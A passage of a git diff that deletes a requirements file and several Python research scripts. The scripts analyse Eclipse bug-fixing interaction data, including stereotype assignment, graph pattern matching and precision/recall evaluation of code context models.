periods') - for i in range(10): - plt.text(times_[i], platform[i], platform[i], va='bottom') - plt.show() - plt.plot(times_, pde, '.-') - plt.title('PDE') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], pde[i], pde[i], va='bottom') - plt.show() - plt.plot(times_, ecf, '.-') - plt.title('ECF') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], ecf[i], ecf[i], va='bottom') - plt.show() - plt.plot(times_, mylyn, '.-', label='Mylyn') - plt.plot(times_, platform, '.-', label='Platform') - plt.plot(times_, pde, '.-', label='PDE') - plt.plot(times_, ecf, '.-', label='ECF') - plt.title('valid working periods') - plt.xlabel('time threshold') - plt.ylabel('periods number') - plt.legend() - plt.show() - - -def draw_events(events_result): - [mylyn, platform, pde, ecf] = events_result - times_ = ['0.5h', '1h', '1.5h', '2h', '2.5h', '3h', '3.5h', '4h', '4.5h', '5h'] - plt.plot(times_, mylyn, '.-', label='Mylyn') - plt.plot(times_, platform, '.-', label='Platform') - plt.plot(times_, pde, '.-', label='PDE') - plt.plot(times_, ecf, '.-', label='ECF') - # plt.title('average events of periods') - plt.xlabel('time threshold') - plt.ylabel('average interaction event number') - plt.legend() - plt.show() - - -def process(): - file_path = join(os.path.dirname(os.path.realpath(__file__)), 'code_elements') - file_dir_list = os.listdir(file_path) - bugs_result = [[], [], [], []] - events_result = [[], [], [], []] - for index_dir in sorted(file_dir_list, key=lambda x: int(x)): - if index_dir not in ['00', '01', '02', '03', '04', '05', '06', '07', '08', '09']: - continue - total_file_name = os.path.join(file_path, index_dir, "working_periods_events.tsv") - df = pd.read_csv(total_file_name) # columns=['project', 'bug_id', 'period_index', 'events'] - mylyn = df[df['project'] == 'Mylyn'] - platform = df[df['project'] == 'Platform'] - pde = df[df['project'] == 'PDE'] - ecf = df[df['project'] == 'ECF'] - # 统计 working periods 信息 - bugs_result[0].append(mylyn['period_index'].count()) - bugs_result[1].append(platform['period_index'].count()) - bugs_result[2].append(pde['period_index'].count()) - bugs_result[3].append(ecf['period_index'].count()) - # 统计平均 events - events_result[0].append(int(mylyn['events'].mean())) - # print(mylyn['events'].max()) - events_result[1].append(int(platform['events'].mean())) - events_result[2].append(int(pde['events'].mean())) - events_result[3].append(int(ecf['events'].mean())) - - # draw_periods(bugs_result) - draw_events(events_result) - - -process() diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index b8fd096..0000000 --- a/requirements.txt +++ /dev/null @@ -1,16 +0,0 @@ -numpy==1.25.0 -pandas==2.0.3 -matplotlib==3.5.0 -networkx==3.1 -torchmetrics==1.2.0 -six==1.16.0 -lxml==4.9.3 -python-dateutil==2.8.2 -xlwt==1.3.0 -javalang==0.11.0 -tqdm==4.66.1 -gensim==3.5.0 -transformers==4.36.1 -tokenizers==0.15.0 -python-bugzilla==2.2.0 -seaborn==0.12.2 \ No newline at end of file diff --git a/rq1/baseline/assign_stereotype.py b/rq1/baseline/assign_stereotype.py deleted file mode 100644 index 9e30d2e..0000000 --- a/rq1/baseline/assign_stereotype.py +++ /dev/null @@ -1,130 +0,0 @@ -import os -from os.path import join - -import xml.etree.ElementTree as ET - -import pandas as pd - -from dataset_split_util import get_models_by_ratio - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'params_validation', - 'git_repo_code') - - -def merge_stereotypes(): - data = [] - for s in ['0570', '1000', '2000', '2500', '3000', '3500', '4000']: - with open(f"./stereotype/{s}.txt", "r") as f: - lines = f.readlines() - print(s, len(lines)) - for line in lines: - line = line.replace('NULL', 'OTHER') - if len(line.strip('\n').split(' ')) > 4: - print(line) - data.append(line.strip('\n').split(' ', 4)) - stereotypes = pd.DataFrame(data, columns=['model', 'project', 'label', 'stereotype']) - stereotypes.to_csv('./stereotype/all_types.tsv', sep=' ', index=False, - header=['model', 'project', 'label', 'stereotype']) - print(len(data)) - - -def main_func(project_model_name: str, step: int): - project_path = join(root_path, project_model_name, 'repo_first_3') - stereotypes = pd.read_csv('./stereotype/all_types.tsv', sep=' ') - print(stereotypes) - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0.9, 1) - # model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - # index = model_dir_list.index('459') - all_stereotypes = {'FIELD'} - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - # model_file = join(model_path, 'code_context_model.xml') - model_file = join(model_path, f'new1_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - sub_stereotypes = stereotypes[stereotypes['model'] == int(model_dir)] - # if len(sub_stereotypes) == 0: - # sub_stereotypes = stereotypes - # print(len(sub_stereotypes)) - graphs = code_context_model.findall("graph") - for graph in graphs: - repo = graph.get('repo_name') - sub_sub_stereotypes = sub_stereotypes[sub_stereotypes['project'] == repo] - # print(len(sub_sub_stereotypes)) - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - kind, label = vertex.get('kind'), vertex.get('label') - label = label.replace("final ", '').replace(' ', '').replace('...', '').replace( - '@SuppressWarnings("unchecked")', '') - # print(label) - if kind == 'variable': - vertex.set('stereotype', 'FIELD') - else: - s = sub_sub_stereotypes[sub_sub_stereotypes['label'].str.contains(label, regex=False)] - if len(s) != 0: - # print(s['stereotype']) - vertex.set('stereotype', s['stereotype'].values[0]) - all_stereotypes.add(s['stereotype'].values[0]) - else: - if kind == 'function': - func = label[label.rfind('.') + 1:] - label = label[:label.rfind('.')] - cla = label[label.rfind('.') + 1:] - s = sub_sub_stereotypes[ - sub_sub_stereotypes['label'].str.contains(f'{cla}.{func}', regex=False)] - if len(s) != 0: - # print(s['stereotype'].values[0]) - vertex.set('stereotype', s['stereotype'].values[0]) - all_stereotypes.add(s['stereotype'].values[0]) - else: - label = label[:label.rfind('.')] - pack = label[label.rfind('.') + 1:] - s = sub_sub_stereotypes[ - sub_sub_stereotypes['label'].str.contains(f'{pack}.{cla}.{func}', regex=False)] - if len(s) != 0: - # print(s['stereotype'].values[0]) - vertex.set('stereotype', s['stereotype'].values[0]) - all_stereotypes.add(s['stereotype'].values[0]) - else: - print(f'NOTFOUND-method-{vertex.get("label")}-{pack}.{cla}.{func}') - vertex.set('stereotype', 'NOTFOUND') - all_stereotypes.add('NOTFOUND') - else: - cla = label[label.rfind('.') + 1:] - s = sub_sub_stereotypes[sub_sub_stereotypes['label'].str.contains(cla, regex=False)] - if len(s) != 0: - # print(s['stereotype'].values[0]) - vertex.set('stereotype', s['stereotype'].values[0]) - all_stereotypes.add(s['stereotype'].values[0]) - else: - label = label[:label.rfind('.')] - pack = label[label.rfind('.') + 1:] - s = sub_sub_stereotypes[ - sub_sub_stereotypes['label'].str.contains(f'{pack}.{cla}', regex=False)] - if len(s) != 0: - # print(s['stereotype'].values[0]) - vertex.set('stereotype', s['stereotype'].values[0]) - all_stereotypes.add(s['stereotype'].values[0]) - else: - print(f'NOTFOUND-class-{vertex.get("label")}-{pack}.{cla}') - vertex.set('stereotype', 'NOTFOUND') - all_stereotypes.add('NOTFOUND') - tree.write(join(model_path, f'new1_{step}_step_expanded_model.xml')) - # tree.write(join(model_path, 'code_context_model.xml')) - print('stereotype {} code context model over~~~~~~~~~~~~'.format(model_file)) - print(all_stereotypes, len(all_stereotypes)) - - -if __name__ == '__main__': - # merge_stereotypes() - # main_func('my_mylyn', step=1) - # main_func('my_mylyn', step=2) - main_func('my_mylyn', step=1) diff --git a/rq1/baseline/count_stereotype.py b/rq1/baseline/count_stereotype.py deleted file mode 100644 index ac7c5d0..0000000 --- a/rq1/baseline/count_stereotype.py +++ /dev/null @@ -1,168 +0,0 @@ -import os -from collections import Counter -from os.path import join -import networkx as nx -import xml.etree.ElementTree as ET -import numpy as np -from networkx import DiGraph - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'params_validation', - 'git_repo_code') - - -def get_models_by_ratio(project: str, start_ratio: float, end_ratio: float): - """ - 返回比例范围内的model,根据first_time排序 - - :param project: 项目 - :param start_ratio: 开始比例 - :param end_ratio: 结束比例 - :return: model_dir数组 - """ - if start_ratio == end_ratio: - return [] - project_path = join(root_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - all_models = [] - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - # first_time = code_context_model.get('last_time') - first_time = code_context_model.get('first_time') - all_models.append([model_dir, first_time]) - all_models = sorted(all_models, key=lambda x: x[1]) - m = np.array(all_models) - return m[int(len(m) * start_ratio):int(len(m) * end_ratio), 0] - - -def get_graph(graphs: list[ET.Element]): - gs = [] - if len(graphs) == 0: - return gs - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - edges = graph.find('edges') - edge_list = edges.findall('edge') - g = nx.DiGraph() - true_node = 0 - # true_edge = 0 - # 转化为图结构 - for node in vertex_list: - g.add_node(int(node.get('id')), label=node.get('stereotype'), origin=node.get('origin'), - seed=node.get('origin')) - # if int(node.get('origin')) == 1: - true_node += 1 - for link in edge_list: - g.add_edge(int(link.get('start')), int(link.get('end')), label=link.get('label')) - # if int(link.get('origin')) == 1: - # true_edge += 1 - if true_node > 1: - gs.append(g) - return gs - - -def load_targets(project_model_name: str, step, mode, start, end): - project_path = join(root_path, project_model_name, 'repo_first_3') - G1s = [] - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, start, end) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - # print(model_dir_list) - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - if mode == 'origin': - model_file = join(model_path, f'code_context_model.xml') - elif mode == 'expand': - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果,分1-step,2-step,3-step扩展图 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - G1s = G1s + get_graph(graphs) - return G1s - - -def count_stereotype(step, mode, start, end): - G1s = load_targets('my_mylyn', step, mode, start, end) - print('G1s', len(G1s)) - # 用于存储所有图的 label 分布 - all_label_values = [] - - # 遍历每个图,获取每个图的 label 数据并合并到一起 - for g in G1s: - labels = nx.get_node_attributes(g, 'label') - label_values = list(labels.values()) - all_label_values.extend(label_values) - - # 使用 Counter 统计所有图的 label 分布 - label_distribution = Counter(all_label_values) - - # 计算所有图中节点的总数 - total_nodes = len(all_label_values) - - # 输出每个图的 label 分布数量和比例 - print("Label Distribution across all graphs:") - sorted_labels = sorted(label_distribution.items(), key=lambda item: item[1], reverse=True) - - for label, frequency in sorted_labels: - ratio = frequency / total_nodes - print(f'{label} {frequency} {ratio:.2%}') - return G1s - - -def analyse_field(G1s: list[DiGraph]): - # 用于存储结果的全局数组 - results = [] - # 遍历每个图 - for graph in G1s: - # 遍历每条边 - for src, dst in graph.edges(): - # 获取src节点和dst节点的stereotype属性 - src_stereotype = graph.nodes[src].get('label') - dst_stereotype = graph.nodes[dst].get('label') - # 获取边的label属性 - edge_label = graph.edges[src, dst].get('label') - # 如果src节点的stereotype是FIELD - if src_stereotype == 'FIELD': - results.append((edge_label, dst_stereotype)) - # 如果dst节点的stereotype是FIELD - if dst_stereotype == 'FIELD': - results.append((edge_label, src_stereotype)) - # 使用Counter统计频率 - label_counter = Counter([item[0] for item in results]) - stereotype_counter = Counter([item[1] for item in results]) - # 计算总数 - total_count = len(results) - # 计算并打印结果 - print("kind frequency and percentage:") - for label, freq in label_counter.items(): - percentage = (freq / total_count) * 100 - print(f"{label} {freq} {percentage:.2f}%") - print("\nStereotype frequency and percentage:") - sorted_labels = sorted(stereotype_counter.items(), key=lambda item: item[1], reverse=True) - for stereotype, freq in sorted_labels: - percentage = (freq / total_count) * 100 - print(f"{stereotype} {freq} {percentage:.2f}%") - - -if __name__ == '__main__': - mode = 'expand' - # mode = 'origin' - step = 1 - start = 0.9 - end = 1 - G1s = count_stereotype(step=step, mode=mode, start=start, end=end) - print('-------------------------') - analyse_field(G1s) - diff --git a/rq1/baseline/culculate.py b/rq1/baseline/culculate.py deleted file mode 100644 index d7677ae..0000000 --- a/rq1/baseline/culculate.py +++ /dev/null @@ -1,97 +0,0 @@ -from decimal import Decimal - -import pandas as pd - -all_result = [] -step = 1 -batch = [0, 27, 14, 10] -for batch_index in range(batch[step]): - batch_result = pd.read_pickle(f'./origin_result/no_result_full_{step}_batch_{batch_index}.pkl') - all_result += batch_result - -print(len(all_result)) - -s = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] -print(f"{'Threshold':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") -for minConf in s: - i = s.index(minConf) - p, r, f = 0.0, 0.0, 0.0 - nothing = 0 - for res in all_result: - if res[i][0] == 0 and res[i][1] == 0: - # print('结果为 0,啥也没有') - nothing += 1 - continue - p += res[i][0] - r += res[i][1] - f += res[i][2] - p = Decimal(p / (len(all_result) - nothing)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - r = Decimal(r / (len(all_result) - nothing)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(all_result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - print(f"{minConf:>10.1f} {p:>10.3f} {r:>10.3f} {f:>10.3f} nothing: {nothing}") - -result = [] -for batch_index in range(batch[step]): - curr = [] - with open(f'./origin_result/no_new_match_result_{step}_batch_{batch_index}.txt', 'r') as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('---') or line.startswith('node_id'): - if len(curr) > 0: - curr_result = [] - # 计算当前的值 - for k in [1, 3, 5]: - # 选择最高的 k 个 - # 过滤出第二列大于0的行 - filtered_data = [row for row in curr if float(row[2]) > 0] - # 按第二列数据从大到小排序 - sorted_data = sorted(filtered_data, key=lambda x: x[2], reverse=True) - # 获取前k行数据 - top_k_data = sorted_data[:k] - all_true_count = len([item for item in curr if item[4] == "True"]) - true_count = len([item for item in top_k_data if item[4] == "True"]) - false_count = len([item for item in top_k_data if item[4] == "False"]) - p = true_count / k - r = true_count / all_true_count if all_true_count > 0 else 0 - f = (2 * p * r / (p + r)) if (p + r) > 0 else 0 - curr_result.append([p, r, f]) - result.append(curr_result) - else: - continue - curr.clear() - else: - curr.append(line.split(' ')) - if len(curr) > 0: - curr_result = [] - # 计算当前的值 - for k in [1, 3, 5]: - # 选择最高的 k 个 - # 过滤出第二列大于0的行 - filtered_data = [row for row in curr if float(row[2]) > 0] - # 按第二列数据从大到小排序 - sorted_data = sorted(filtered_data, key=lambda x: x[2], reverse=True) - # 获取前k行数据 - top_k_data = sorted_data[:k] - all_true_count = len([item for item in curr if item[4] == "True"]) - true_count = len([item for item in top_k_data if item[4] == "True"]) - # false_count = len([item for item in top_k_data if item[4] == "False"]) - p = true_count / k - r = true_count / all_true_count if all_true_count > 0 else 0 - f = (2 * p * r / (p + r)) if (p + r) > 0 else 0 - curr_result.append([p, r, f]) - result.append(curr_result) -s = [1, 3, 5] -print(f"{'top-k':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") -for k in s: - i = s.index(k) - p, r, f = 0.0, 0.0, 0.0 - for res in result: - p += res[i][0] - r += res[i][1] - f += res[i][2] - p /= len(result) - r /= len(result) - print(f"{k:>10.1f} {p:>10.3f} {r:>10.3f} {2 * p * r / (p + r):>10.3f}") - diff --git a/rq1/baseline/field_stereotype_analysis.py b/rq1/baseline/field_stereotype_analysis.py deleted file mode 100644 index 4768c22..0000000 --- a/rq1/baseline/field_stereotype_analysis.py +++ /dev/null @@ -1,185 +0,0 @@ -import os -from collections import Counter -from os.path import join -import networkx as nx -import xml.etree.ElementTree as ET -import numpy as np - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'params_validation', - 'git_repo_code') - - -def get_models_by_ratio(project: str, start_ratio: float, end_ratio: float): - """ - 返回比例范围内的model,根据first_time排序 - - :param project: 项目 - :param start_ratio: 开始比例 - :param end_ratio: 结束比例 - :return: model_dir数组 - """ - if start_ratio == end_ratio: - return [] - project_path = join(root_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - all_models = [] - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - first_time = code_context_model.get('first_time') - all_models.append([model_dir, first_time]) - all_models = sorted(all_models, key=lambda x: x[1]) - m = np.array(all_models) - return m[int(len(m) * start_ratio):int(len(m) * end_ratio), 0] - - -def get_graph(graphs: list[ET.Element], step: int): - gs = [] - if len(graphs) == 0: - return gs - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - edges = graph.find('edges') - edge_list = edges.findall('edge') - g = nx.DiGraph() - true_node = 0 - # true_edge = 0 - # 转化为图结构 - remove_nodes = [] - for node in vertex_list: - g.add_node(int(node.get('id')), label=node.get('stereotype'), origin=node.get('origin')) - if node.get('stereotype') == 'NOTFOUND': - remove_nodes.append(int(node.get('id'))) - else: - if int(node.get('origin')) == 1: - true_node += 1 - for link in edge_list: - g.add_edge(int(link.get('start')), int(link.get('end')), label=link.get('label')) - # if int(link.get('origin')) == 1: - # true_edge += 1 - if true_node > step: - for node_id in remove_nodes: - g.remove_node(node_id) # 会自动删除边 - gs.append(g) - return gs - - -def load_targets(project_model_name: str, step): - project_path = join(root_path, project_model_name, 'repo_first_3') - G1s = [] - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0.9, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - count = 0 - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果,分1-step,2-step,3-step扩展图 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - for i in range(len(graphs)): - print(count, model_dir) - count = count + 1 - G1s = G1s + get_graph(graphs, step) - return G1s - - -def read_result(step: int): - result = [] - with open(f'./origin_result/no_new_match_result_{step}_1.txt', 'r') as f: - lines = f.readlines() - curr = [] - for line in lines: - line = line.strip() - if line.startswith('---') or line.startswith('node_id'): - if len(curr) > 0: - result.append(curr.copy()) - curr = [] - continue - else: - curr.append(line.split(' ')) - if len(curr) > 0: - result.append(curr) - return result - - -def find_connected_nodes_with_labels(digraph, node_id): - reachable_from_node, reachable_to_node = [], [] - from_edges, to_edges = [], [] - # 找到所有从 node_id 可达的节点 - for edge in digraph.edges(): - if edge[0] == node_id: - reachable_from_node.append(edge[1]) - from_edges.append(digraph.get_edge_data(edge[0], edge[1])['label']) - # 找到所有可以到达 node_id 的节点 - for edge in digraph.edges(): - if edge[1] == node_id: - reachable_to_node.append(edge[0]) - to_edges.append(digraph.get_edge_data(edge[0], edge[1])['label']) - # 获取这些节点的 label 属性 - reachable_from_node_labels = [digraph.nodes[n]['label'] for n in reachable_from_node] - reachable_to_node_labels = [digraph.nodes[n]['label'] for n in reachable_to_node] - print(node_id, reachable_from_node, reachable_from_node_labels, from_edges, reachable_to_node, reachable_to_node_labels, to_edges) - - return reachable_from_node_labels, reachable_to_node_labels - - -def field_analyse(step): - G1s = load_targets('my_mylyn', step) - print('G1s', len(G1s)) - result = read_result(step) - print(len(result)) - # 用于存储所有图的 label 分布 - all_labels = [[], []] - count = 0 - for curr in result: - print(count) - count = count + 1 - for node in curr: - if node[3] == 'FIELD' and node[4] == 'True' and node[5] == 'False': - # print(node) - index = result.index(curr) - g = G1s[index] - node_id = int(node[0]) - from_labels, to_labels = find_connected_nodes_with_labels(g, node_id) - all_labels[0] = all_labels[0] + from_labels - all_labels[1] = all_labels[1] + to_labels - frequency_counter = Counter(all_labels[0]) - total_count = len(all_labels[0]) - # 计算频率和占比 - frequencies_and_ratios = {string: (count, count / total_count) for string, count in frequency_counter.items()} - sorted_labels = sorted(frequencies_and_ratios.items(), key=lambda item: item[1][0], reverse=True) - for string, (frequency, ratio) in sorted_labels: - print(f"{string} {frequency} {ratio:.2%}") - print('-------------------------------------') - frequency_counter = Counter(all_labels[1]) - total_count = len(all_labels[1]) - # 计算频率和占比 - frequencies_and_ratios = {string: (count, count / total_count) for string, count in frequency_counter.items()} - sorted_labels = sorted(frequencies_and_ratios.items(), key=lambda item: item[1][0], reverse=True) - for string, (frequency, ratio) in sorted_labels: - print(f"{string} {frequency} {ratio:.2%}") - print('-----------------all--------------------') - frequency_counter = Counter(all_labels[0] + all_labels[1]) - total_count = len(all_labels[0] + all_labels[1]) - # 计算频率和占比 - frequencies_and_ratios = {string: (count, count / total_count) for string, count in frequency_counter.items()} - sorted_labels = sorted(frequencies_and_ratios.items(), key=lambda item: item[1][0], reverse=True) - for string, (frequency, ratio) in sorted_labels: - print(f"{string} {frequency} {ratio:.2%}") - - -if __name__ == '__main__': - field_analyse(step=1) diff --git a/rq1/baseline/origin_pattern_match_2.py b/rq1/baseline/origin_pattern_match_2.py deleted file mode 100644 index a0d2370..0000000 --- a/rq1/baseline/origin_pattern_match_2.py +++ /dev/null @@ -1,368 +0,0 @@ -import copy -import itertools -import os -import sys -import time -from decimal import Decimal -from os.path import join -import math -import networkx as nx -import xml.etree.ElementTree as ET -import numpy as np -import pandas as pd -from networkx import DiGraph -from networkx.algorithms import isomorphism -from gspan_mining.config import parser -from gspan_mining.main import main - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'params_validation', - 'git_repo_code') - - -def get_models_by_ratio(project: str, start_ratio: float, end_ratio: float): - """ - 返回比例范围内的model,根据first_time排序 - - :param project: 项目 - :param start_ratio: 开始比例 - :param end_ratio: 结束比例 - :return: model_dir数组 - """ - if start_ratio == end_ratio: - return [] - project_path = join(root_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - all_models = [] - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - first_time = code_context_model.get('first_time') - all_models.append([model_dir, first_time]) - all_models = sorted(all_models, key=lambda x: x[1]) - m = np.array(all_models) - return m[int(len(m) * start_ratio):int(len(m) * end_ratio), 0] - - -def load_patterns(patterns): - G2s = [] - with open(patterns) as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('t #'): - g = nx.DiGraph() - if line.startswith('v'): - v = line.split(' ') - g.add_node(int(v[1]), label=v[2]) - if line.startswith('e'): - e = line.split(' ') - g.add_edge(int(e[1]), int(e[2]), label=e[3]) - if line.startswith('#'): - G2s.append(g) - f.close() - return G2s - - -def get_graph(graphs: list[ET.Element], step: int): - gs = [] - if len(graphs) == 0: - return gs - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - edges = graph.find('edges') - edge_list = edges.findall('edge') - g = nx.DiGraph() - true_node = 0 - # true_edge = 0 - # 转化为图结构 - remove_nodes = [] - for node in vertex_list: - g.add_node(int(node.get('id')), label=node.get('stereotype'), origin=node.get('origin'), - G1=node.get('G1')) - if node.get('stereotype') == 'NOTFOUND': - remove_nodes.append(int(node.get('id'))) - else: - if int(node.get('origin')) == 1: - true_node += 1 - for link in edge_list: - g.add_edge(int(link.get('start')), int(link.get('end')), label=link.get('label')) - # if int(link.get('origin')) == 1: - # true_edge += 1 - if true_node > step: - for node_id in remove_nodes: - g.remove_node(node_id) # 会自动删除边 - gs.append(g) - return gs - - -def load_targets(project_model_name: str, step): - project_path = join(root_path, project_model_name, 'repo_first_3') - G1s = [] - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0.9, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - count = 0 - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果,分1-step,2-step,3-step扩展图 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - gs = get_graph(graphs, step) - if len(gs) > 0: - G1s = G1s + gs - count += 1 - print(f'count: {count}') - return G1s - - -def count_positive(confidence, thres): - count = 0 - for con in confidence: - if con[1] >= thres: - count += 1 - return count - - -def node_match(node1, node2): - return node1['label'] == node2['label'] - - -def edge_match(edge1, edge2): - return edge1['label'] == edge2['label'] - - -def calculate_result(labels, true_number): - if len(labels) == 0: - return [0, 0, 0] - precision = labels.count(1) / len(labels) - recall = labels.count(1) / true_number - if precision + recall == 0: - f1 = 0 - else: - f1 = 2 * precision * recall / (precision + recall) - # print([precision, recall, f1]) - return [precision, recall, f1] - - -def calculate_result_full(labels, output, true_number): - result = [] - for MinConf in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]: - if len(labels) == 0: - result.append([0, 0, 0]) - positive_count = 0 - true_positive_count = 0 - for i in range(len(output)): - if output[i] >= MinConf: - positive_count += 1 - if labels[i] == 1: - true_positive_count += 1 - precision = true_positive_count / positive_count if positive_count != 0 else 0 - recall = true_positive_count / true_number - if precision + recall == 0: - f1 = 0.0 - else: - f1 = 2 * precision * recall / (precision + recall) - # print([precision, recall, f1]) - result.append([precision, recall, f1]) - return result - - -def print_result(result, k): - if k == 0: - s = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] - print(f"{'Threshold':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for minConf in s: - i = s.index(minConf) - p, r, f = 0.0, 0.0, 0.0 - for res in result: - p += res[i][0] - r += res[i][1] - f += res[i][2] - p = Decimal(p / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - r = Decimal(r / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - print(f"{minConf:>10.1f} {p:>10.3f} {r:>10.3f} {f:>10.3f}") - else: - p, r, f = 0.0, 0.0, 0.0 - for res in result: - p += res[0] - r += res[1] - f += res[2] - p = Decimal(p / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - r = Decimal(r / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - print(f'----------result of top {k}-------\n' - f'Precision: {p}, ' - f'Recall: {r}, ' - f'F1: {f}') - - -def save_result_stereotype(confidence, nodes, f): - f.write("----new match---\n") - confidence = dict(confidence) - for node_id in nodes: - origin_label = nodes.get(node_id)['origin'] - if confidence.get(node_id): - conf = confidence.get(node_id) - # node_id = c[0] - # conf = Decimal(conf).quantize(Decimal("0.01"), rounding="ROUND_FLOOR") - stereotype = nodes.get(node_id)['label'] - f.write(f'{node_id} {origin_label} {conf} {stereotype} {origin_label == "1"} {conf > 0}\n') - elif origin_label == '1': - conf = 0.0 - stereotype = nodes.get(node_id)['label'] - f.write(f'{node_id} {origin_label} {conf} {stereotype} {origin_label == "1"} {conf > 0}\n') - - - -def graph_match(step, patterns): - G1s = load_targets('my_mylyn', step) - G2s = load_patterns(patterns) - print('G1s', len(G1s), 'G2s', len(G2s)) - result_1, result_3, result_5, result_full = [], [], [], [] - # f = open(f'origin_result/match_result_{step}.txt', 'w') - f = open(f'origin_result/no_new_match_result_{step}_new144.txt', 'w') - f.write("node_id origin_label confidence stereotype label_result predict_result\n") - for G1 in G1s: - # for G1 in G1s[batch_index * 200: (batch_index + 1) * 200]: - # if G1s.index(G1) in [290]: - # continue - print(f'handling: {G1s.index(G1)}-{G1}') - begin_time = time.time() - total_match = 0 - confidence = dict() - flag = False - for G2 in G2s: - curr_time = time.time() - if curr_time - begin_time > 60 * 10: - flag = True - break - GM = isomorphism.DiGraphMatcher(G1, G2, node_match=node_match, edge_match=edge_match) - if GM.subgraph_is_isomorphic(): - for sub_iter in GM.subgraph_isomorphisms_iter(): - curr_time = time.time() - if curr_time - begin_time > 60 * 10: - flag = True - break - nodes = list(map(int, list(sub_iter.keys()))) - ground_truth = 0 - for node in nodes: - ground_truth += int(G1.nodes.get(node)['origin']) - # 匹配的子图中不属于 ground truth的节点数不能超过当前的预测步长 step - if len(nodes) - ground_truth > step: - continue - total_match += 1 - for node in nodes: - if confidence.get(node): - confidence[node] = confidence[node] + 1 - else: - confidence[node] = 1 - # sub_G1: nx.DiGraph = G1.subgraph(nodes) - # print(sub_G1.nodes.data(), sub_G1.edges.data()) - if flag: # 计算已经匹配出来的 - print(f'continue 